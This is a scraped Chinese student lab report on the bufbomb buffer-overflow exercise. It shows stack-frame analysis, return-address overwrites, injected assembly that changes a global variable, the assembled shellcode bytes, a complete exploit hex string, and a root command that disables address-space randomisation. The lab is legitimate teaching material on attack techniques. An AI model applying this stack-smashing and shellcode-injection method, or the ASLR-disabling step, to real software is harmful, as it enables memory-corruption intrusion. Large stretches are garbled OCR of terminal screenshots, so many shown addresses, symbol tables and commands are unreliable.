试验4缓冲区溢出攻击试验_第1页
试验4缓冲区溢出攻击试验_第2页
试验4缓冲区溢出攻击试验_第3页
试验4缓冲区溢出攻击试验_第4页
试验4缓冲区溢出攻击试验_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、深圳大学实验报告课程名称:计算机系统(2)实验项目名称:缓冲区溢出攻击实验学院:计算机与软件学院专业:指导教师:罗秋明报告人:学号:班级:实验时间:2017年5月12日实验报告提交时间:2017年5月31日教务处制一、实验目标:.理解程序函数调用中参数传递机制;.掌握缓冲区溢出攻击方法;.进一步熟练掌握GDB调试工具和objdump反汇编工具。二、实验环境:计算机(Intel CPU)Linux32 位操作系统(Ubuntu16.04)GDB调试工具objdump反汇编工具三、实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbom

2、b和部分函数的 C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!要求同学查看各关卡的要求,运用GDB调试工具和 objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四 缓冲区溢出攻击实

3、验 .pptx本实验要求解决关卡 1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报 告上。四、实验步骤和结果首先是 makecookie:深圳大学学生实验报告用纸yanglibin_2014E)49329(ubuntu sudo susudo passu d for ydngltbin_2O1404OJ29;root0ubuntu:/hohe/yangltbtn_2614040329* cd Desktop/rootfubuntui/hene/yanglibin_2914040129/0esktop# file nakecookie nakecookie; ELF 12 bit L

4、SB executable, Intel 80366, version 1 (SYS v), dynamically linked, Interpreter /ltb/ld-Ltnux *so.z( for gnu/lI nux 2*6.9* not strippedrootubuntu:/hQme/yanglibi.n_2 014O4O3 29/DesktDp# chnod -x nakecooki erootjjubuntu:/hoFie/yanqlibtn 2Q14040329/Desktop# ./Hkecookte ylb0 x239772dSOQtubuntu;/hQFiu/van

5、glibin_Z0140403W9/OcktCfp# |步骤1返回到smoke()解题思路步骤1是要修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用 者test(),而是跳到一个叫做smoke()的函数里。只需构造一段字符串让 Gets(论部拷贝到buf数组了,从而造成缓冲区溢出。同 时最重要的一点是:将smoke()函数的初始地址也放到构造的字符串内,使其恰 好覆盖到 getbuf()的 return address置。解题过程首先要知道smoke()的初始地址,用objdump查看符号表Ig34龌60gF* Let03 州。84Hf Liz9*ABS*eooo

6、eoeo_cdatsqgF.text80006909.hidden _16B6.get_pj. diriI11chidden _glq3 0894a9eeg0BAI OFFSFTTflBLF.g*ABS*eBQD6B09FllidU-P U J XJ k oftaeoooef*UNO*60000043mtfHiettlGLIE_2.61 oao4didO90e&aoee04stdlnefGUK_2,fi aeGeoeoeaF*UND*AB5*0BMSS328BO08BOOfopenWCLIBC?.1 _tnltarrayitartKg0,bsseaeoeae4optirgfG LIBC.2SI

7、 电 1 ed0.Wmt 号0000054_I0_5tdtn_usB9m 03960906F*UIMD*69906066sr jridaEppGLi BU 2.0 00906906f*UN0*60006031sptntfGLIBC 2.01 09000900F*UMemoifidfwriteeGLiet_2,.S_ 由总色4台勺宫nMat AeoeosBeo eB00B95_data_stjrtia_g#tc 呼l ibcn . eQ RQF D A卜 aeaeaaocyF* Wd LU*UN0*直0000000*UND*eeooeaeo_Jv_RegstrClassesomcooooF*UN

8、D-0990093&_ctpe_b_locCLI6CAgF.rxtbushnndler归 B34 g eb|gf. textsnake*UH口*60300017rand腌ELISC.。 tea fioae4dijo9bss的的州曲46B6eaes*JND*euot)eb39fllArnfCLiBCZ.eQ9OCQ0OC*UNC*e&oooo9ccdseridGLlHC_2.0F OBOSelOgtexte4D0S4ebang心 eaaeaaoie*UND*_QflOfl_start_;1seessaoFFIND*iTwp 而甑 libLmb深圳大学学生实验报告用纸smoke的初始地址是0 x0

9、8048ebQbuf第一个元素的地址是-0 x18,而return address 第一个字节的地址是0 x04,两个位置的相差换算成十进制就是0 x04 - (-0 x18) = 4+ 24 = 28。也就是说我们要构造28个字符,然后加上smoke()的地址就能准确覆 盖至U return address了。最终结果截图rootubjritD: / home/yangllvt exploit. txt 。口tQubuntu:/home/yangllbin_2014040329/Desktop# */sendstring ott*txt exploit raw.txtrootubjntu :

10、/hnme/yFingli bi n_2614646329/Desktop# cat exploit_raw. tx t | bufbomb -t ylb bufbomb: uqefi旧nd not foundrootQubuntu:/home/yanglibtn 2014e4329/DesktopV cat exploit raw.tx t | ./bufbanb -t ylb Teori: ylb cookie: exz39772dsType strlngiSnoke!: You called smoked NICE JOB JSent validation infornction to

11、grading server 0otBubuntLi:/hQFie/yangllbln_2i4D43Z9/De5ktc# 步骤2返回到fizz()并准备相应参数解题思路通过objdump-t查看符号表中日zz()函数的初始地址。拿到了地址 0 x08048e60, 只要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()执行完毕后返回 到fizz()中。然后用makecookie生成我的用户名ylb。以getbuf()调用Gets()为例, 看一下调用者的代码和对应的栈。解题过程rootubuntui:/e/yangLibtn_2&14046329/sktopft

12、objdunp -s -d z bufboiM) | grep *A15 jrt rnfB948ddO:55push*tebpB&lSddl;39 65i*iov,ebp83 ec 28sub88ad6:Hd 15 c&lea2948a曰1:匚勺1b8 91 CO 白。00nov50乂1,*电考乂8。48a母了:c3ret80Baes:99nopSel8ae9:Sd bA 2b 00 SO 60 60lea8xe(iesLf?(eiz ,13 ,%est修且白4gdFG WenK74If方S648&90 cfizi+3x3e8O48e71:89442494nov3nEax,0 x4(%esp)

13、C7廿424缸9电64 Q8iovl帛。X8 目 49sg电827f9ffffcallprthtfeplt先分析出从getbuf()函数结束后,到调用巾zz()函数前栈的情况:0 x0c 即将是fizz()栈区0 x08 即将是fizz()栈区0 x04 getbuf()的返回地址(即巾zz()的地址)-%esp0 x00 getbuf()%ebp 的保存值得知,在返回并调用fizz()前,栈指针指向0 x04处(相对getbuf()中的ebp为0 x00),随后fizz()调用时,会把fizz() 的ebp值压入栈中,8048e66: 8b 45 08mov 0 x8(%ebp),%eax8

14、048e69: 3b 05 d4 a1 04 08 cmp 0 x804a1d4,%eax再结合这两行代码得知,fizz()函数的传入参数是应该存放在 0 x8(%ebp)处的,栈 的情况应变为:0 x0c fizz的传入参数0 x08巾zz()的返回地址0 x04fizz() 中ebp的保存值NICE JOB!SenL vdllddtlon InTor ftat ton to grading seYt?rYou hzve ncx 两ail tn ,a/nailfoot步骤3返回至U bang()且修改global_value解题思路因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出

15、到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值。若修改了 .bss和.text之间某些只读的段会引起操作系统 的“警觉”而报错。所以在进入bang()之前我们需要执行一小段我们自己的代码 去修改global_value,这一段代码就叫做 exploit code。解题过程a.bang()和 global_value 地址objdu仲p -t bufb白mbgrep -e bang 电 globalvaluepOOO4olc4 g0 .bss00000004global_vaLuc0804810 gF .

16、text 0000004c_. rootuburitui/hone/yangltbln 20i4O4e3Z9/Desktopi? |得至U bang()的入 口地址 0 x08048e10,以及 global_value 的地址 0 x0804a1c4利用gdb调试获得buf字符数组的首地址,即是注入代码的首地址gdb bufbomb ;调试程序disass getbuf ;查看getbuf的汇编代码深圳大学学生实验报告用纸mw二 jr/rp y % n 1 11 v i (gdb) disass getbufDump of assembler code for function getbuf

17、:0 x08046ad&c+0;puh圾bpOx08048adl;novXe&PfMebp0 xO8948adlc+3 :sub5flxZ8,%espOx08048d6 :lea-0 xl8(%ebp,eax0 xd804ead? :mov%eax,(%esp0 xO894eadc:call6X&489C0 Gx&S04Sael:lea ve0XO8948ae2+18:nov$9xl,%eax0XO8948ae7:retEnd of assembler dump. 篁LL21_给getbuf()设置断点,程序把断点设置在0 x8048ad6L(gdb) b getbufKBBP Breakpo

18、int 1 at 0 x8O48ad6. (gdb)run寸ylb;运行程序p $ebp-0 x18;由 lea -0 x18(%ebp),%eax 分析出 buf 地址为 ebp 地址-0 x18(gdb run *t ylbstarting program: /hone/yangltbtn_zai404O3zy/Desktop/bufbonb -1 yl bTeam: ylbCookie: 0 x239772d53 Breakpoint 1, OxO8048ad6 in getbuf () (gdb) p $ebp-0 xl8$1 - (void *) 0 xbfffb930 (gdb)

19、|得出buf地址,也即注入代码地址应为 0 xbfffb930接下来编写注入代码(汇编代码):.code32;让gcc以32位模式来编译movl $0 x333382e2, 0 x0804a1c4 ;令 global_value = cookie 值pushl $0 x08048e10;%esp - bang入口地址retgcc -c exploit_code.s/编译汇编文件为可重定位文件.s - .oobjdump -d exploit_code.o/查看可重定位文件的内容;ret bang()深圳大学学生实验报告用纸rootfubuntu:/how/argllbtn_Z0i4040j29

20、/esktop* vt explolt_coln_Z014B40U9/Desktopt gcc -c aplolj8d e. 5QOt觥Mntu:/hwefywngllbin 2914040329/Desktop objdunp -d exploit code. oe*(jlott_code nO: file f o r t elfOisftssrnbly of section .text:30000000 :0:c了 65 C4 31 64 SBnovi $0X333382e27:82 33 33Al63 1& 能 64push$0 x6040410f:elrettgubuntu:/hoff

21、e/yangllbtn_zopi848329,ie5ktop# 最终获得注入代码的16进制机器码,为16字节。在第1题中返回地址前有28个字节的空间,故在注入代码后面仍需补充 12个字节的空间,为方便计数定 为01-12,紧接着则是buf的地址,让getbuf()返回时跳转到注入代码的首地址, 按照小端法,buf地址应为30 b9 ff ff,故完整字符串为:c7 05 c4 a1 04 08 e2 82 33 3368 10 8e 04 08c301 02 03 04 05 06 07 08 09 10 11 1230 b9 ff bf0d忽略空格(和下划线)后,得到 exploit3.tx

22、t的内容为:c705c4a10408e282333368108e0408c301020304050607080910111230b9ffbf0dLinux内存地址有随机化机制,若随机化机制打开,那么每次运行程序, %ebp 的地址可能是不一样的,即buf地址无法确定(注入代码开始地址无法确定),这样的话,注入代码将无法正确编写。所以需要先关闭Linux内存地址随机化机制,才能完成实验。可以通过设置kernel.randomize_va_space内核参数来设置内存地址随机化的 行为。# echo 0 /proc/sys/kernel/randomize_va_spaceroot0ubuntu: /hone/yangl-LbJln_2O14040329/Desktop# vi exploit 3. txt rootubuntLi: / hone/yang Li bin_2014040329/Desktopd echo ,fG /proc/s y5/kernel/rahdontze_v*_spacerooiubuniu;/hone/yangllbtn_2014040329/Desktop# |3.3最终结果截图rootubuntu7/hane/yanglibin 2014046329/Desktop# cat exploits

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论